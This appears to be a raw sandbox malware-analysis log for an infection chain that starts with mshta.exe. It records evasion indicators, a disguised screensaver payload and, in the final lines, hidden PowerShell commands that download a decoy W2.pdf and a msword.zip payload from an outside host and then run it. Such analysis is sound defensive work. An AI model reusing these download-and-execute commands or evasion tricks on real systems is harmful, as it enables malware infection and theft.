Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Found API chain indicative of sandbox detection
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrSandbox detection routine: GetForegroundWindow, DecisionNode, Sleepgraph_36-104756
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2770Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2604Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3008Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6229
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3487
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrAPI coverage: 4.0 %
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrAPI coverage: 4.3 %
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep count: 2770 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7188Thread sleep count: 2604 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7220Thread sleep time: -7378697629483816s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7256Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7272Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7500Thread sleep count: 3008 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7516Thread sleep count: 140 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7620Thread sleep time: -5534023222112862s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8148Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7468Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8164Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8648Thread sleep count: 6229 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8644Thread sleep count: 3487 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8700Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 8952Thread sleep count: 82 > 30
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.com TID: 8720Thread sleep time: -40000s >= -30000s
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406301 FindFirstFileW,FindClose,15_2_00406301
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,15_2_00406CC7
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00BAA087
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00BAA1E2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,36_2_00B9E472
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,36_2_00BAA570
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA66DC FindFirstFileW,FindNextFileW,FindClose,36_2_00BA66DC
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B6C622 FindFirstFileExW,36_2_00B6C622
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,36_2_00BA73D4
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA7333 FindFirstFileW,FindClose,36_2_00BA7333
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00B9D921
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00B9DC54
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0064A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_0064A087
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0064A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_0064A1E2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0063E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,38_2_0063E472
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0064A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,38_2_0064A570
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0060C622 FindFirstFileExW,38_2_0060C622
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_006466DC FindFirstFileW,FindNextFileW,FindClose,38_2_006466DC
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00647333 FindFirstFileW,FindClose,38_2_00647333
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_006473D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,38_2_006473D4
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0063D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_0063D921
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0063DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_0063DC54
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B35FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,36_2_00B35FC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\mswordJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\msword\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
Source: mshta.exe, 00000000.00000002.1990413296.000000000A3DC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984704836.000000000A3AA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1990413296.000000000A3AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1984704836.000000000A3DC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: mshta.exe, 00000000.00000002.1989948457.000000000A3A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWL
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAF4FF BlockInput,36_2_00BAF4FF
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B3338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,36_2_00B3338B
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,15_2_00406328
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B55058 mov eax, dword ptr fs:[00000030h]36_2_00B55058
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F5058 mov eax, dword ptr fs:[00000030h]38_2_005F5058
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B920AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,36_2_00B920AA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B62992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,36_2_00B62992
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B50BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,36_2_00B50BAF
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B50D45 SetUnhandledExceptionFilter,36_2_00B50D45
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B50F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,36_2_00B50F91
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00602992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,38_2_00602992
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F0BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,38_2_005F0BAF
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F0D45 SetUnhandledExceptionFilter,38_2_005F0D45
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005F0F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,38_2_005F0F91
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B91B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,36_2_00B91B4D
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B3338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,36_2_00B3338B
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9BBED SendInput,keybd_event,36_2_00B9BBED
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9EC9E mouse_event,36_2_00B9EC9E
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat"Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\cleanup.bat"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\msword\msword.exe msword.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
